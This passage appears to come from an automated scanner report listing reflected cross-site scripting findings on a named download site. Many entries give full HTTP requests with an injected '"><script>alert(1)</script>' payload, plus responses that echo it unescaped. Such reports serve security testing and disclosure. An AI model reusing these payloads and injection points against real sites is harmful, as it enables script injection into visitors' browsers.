HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 14:59:09 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21287
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/jsa62f2"><script>alert(1)</script>4ce7a17d51f/rating.js" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7ca2f"><script>alert(1)</script>e3cfc32ca97 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /js/rating.js7ca2f"><script>alert(1)</script>e3cfc32ca97 HTTP/1.1 Host: www.x64bitdownload.com Proxy-Connection: keep-alive Referer: http://www.x64bitdownload.com/downloads/t-64-bit-ozum-download-lhtivuds.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 14:59:13 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21287
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/js/rating.js7ca2f"><script>alert(1)</script>e3cfc32ca97" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b4bea"><script>alert(1)</script>99c6425b343 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /linktous.htmlb4bea"><script>alert(1)</script>99c6425b343 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:25:34 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21288
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/linktous.htmlb4bea"><script>alert(1)</script>99c6425b343" /> ...[SNIP]...
4.1810. http://www.x64bitdownload.com/linktous.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/linktous.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cfe20"><script>alert(1)</script>73a79dc6461 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /linktous.html?cfe20"><script>alert(1)</script>73a79dc6461=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:22:34 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 41986
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/linktous.html?cfe20"><script>alert(1)</script>73a79dc6461=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 90208"><script>alert(1)</script>513c51908fe was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /login.html90208"><script>alert(1)</script>513c51908fe HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 16:02:14 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21285
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/login.html90208"><script>alert(1)</script>513c51908fe" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 32d8f"><script>alert(1)</script>0e3502762a9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /new-reviews.html32d8f"><script>alert(1)</script>0e3502762a9 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:28:29 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21291
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/new-reviews.html32d8f"><script>alert(1)</script>0e3502762a9" /> ...[SNIP]...
4.1813. http://www.x64bitdownload.com/new-reviews.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/new-reviews.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload efabf"><script>alert(1)</script>0fd7b226cd3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /new-reviews.html?efabf"><script>alert(1)</script>0fd7b226cd3=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:25:10 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:35:17 GMT Cache-Control: max-age=600 Pragma: cache Connection: close Content-Type: text/html; charset=UTF-8 X-Pad: avoid browser bug Content-Length: 56348
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/new-reviews.html?efabf"><script>alert(1)</script>0fd7b226cd3=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7a3ba"><script>alert(1)</script>991a789ffdb was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /new-software.html7a3ba"><script>alert(1)</script>991a789ffdb HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:27:12 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21292
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/new-software.html7a3ba"><script>alert(1)</script>991a789ffdb" /> ...[SNIP]...
4.1815. http://www.x64bitdownload.com/new-software.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/new-software.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5c6b9"><script>alert(1)</script>0bb8bbb0810 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /new-software.html?5c6b9"><script>alert(1)</script>0bb8bbb0810=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:24:29 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:34:36 GMT Cache-Control: max-age=600 Pragma: cache Connection: close Content-Type: text/html; charset=UTF-8 X-Pad: avoid browser bug Content-Length: 120351
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/new-software.html?5c6b9"><script>alert(1)</script>0bb8bbb0810=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f98f8"><script>alert(1)</script>4fb8449076 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /ratestars.htmlf98f8"><script>alert(1)</script>4fb8449076 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:51:39 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21288
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/ratestars.htmlf98f8"><script>alert(1)</script>4fb8449076" /> ...[SNIP]...
The value of the q request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ecc10"><script>alert(1)</script>171150b91a2 was submitted in the q parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /ratestars.html?j=1&q=lhtivudsecc10"><script>alert(1)</script>171150b91a2&t=173.193.214.243&c=5 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:50:04 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-cache Pragma: nocache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 12575
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/ratestars.html?j=1&q=lhtivudsecc10"><script>alert(1)</script>171150b91a2&t=173.193.214.243&c=5" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e1476"><script>alert(1)</script>9457535a8e1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /rsse1476"><script>alert(1)</script>9457535a8e1/downloads.xml HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:25:54 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21292
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/rsse1476"><script>alert(1)</script>9457535a8e1/downloads.xml" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b6a07"><script>alert(1)</script>79728d417c5 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /rss/downloads.xmlb6a07"><script>alert(1)</script>79728d417c5 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:26:38 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21292
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/rss/downloads.xmlb6a07"><script>alert(1)</script>79728d417c5" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 21945"><script>alert(1)</script>5b51a8a7029 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /saved-software.html21945"><script>alert(1)</script>5b51a8a7029 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:47:19 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21294
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/saved-software.html21945"><script>alert(1)</script>5b51a8a7029" /> ...[SNIP]...
4.1821. http://www.x64bitdownload.com/saved-software.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/saved-software.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c955f"><script>alert(1)</script>40eb90fe594 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /saved-software.html?c955f"><script>alert(1)</script>40eb90fe594=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:43:03 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 28914
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/saved-software.html?c955f"><script>alert(1)</script>40eb90fe594=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 32b5b"><script>alert(1)</script>17473a35adb was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /screenshot32b5b"><script>alert(1)</script>17473a35adb/communitymate-download-qeakzpwv.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:49:56 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21322
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/screenshot32b5b"><script>alert(1)</script>17473a35adb/communitymate-download-qeakzpwv.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 68784"><script>alert(1)</script>91cdfef4f9f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /screenshot/68784"><script>alert(1)</script>91cdfef4f9f HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:51:21 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21286
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/screenshot/68784"><script>alert(1)</script>91cdfef4f9f" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3a2bd"><script>alert(1)</script>bad4adca0ce was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /screenshot3a2bd"><script>alert(1)</script>bad4adca0ce/news-file-grabber-download-stclytop.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:47:56 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21326
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/screenshot3a2bd"><script>alert(1)</script>bad4adca0ce/news-file-grabber-download-stclytop.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4a532"><script>alert(1)</script>a50852b0f49 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /screenshot/4a532"><script>alert(1)</script>a50852b0f49 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:48:46 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21286
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/screenshot/4a532"><script>alert(1)</script>a50852b0f49" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1d9b4"><script>alert(1)</script>4af4e68853c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /screenshot1d9b4"><script>alert(1)</script>4af4e68853c/newsgroup-commander-pro-download-rjfsmxpp.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:49:51 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21332
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/screenshot1d9b4"><script>alert(1)</script>4af4e68853c/newsgroup-commander-pro-download-rjfsmxpp.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 98e3a"><script>alert(1)</script>f98dca8ff54 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /screenshot/98e3a"><script>alert(1)</script>f98dca8ff54 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:51:04 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21286
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/screenshot/98e3a"><script>alert(1)</script>f98dca8ff54" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 54c84"><script>alert(1)</script>b177d980758 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /screenshot54c84"><script>alert(1)</script>b177d980758/ozum-download-lhtivuds.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:47:44 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21313
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/screenshot54c84"><script>alert(1)</script>b177d980758/ozum-download-lhtivuds.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2a650"><script>alert(1)</script>4eac85a3ec4 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
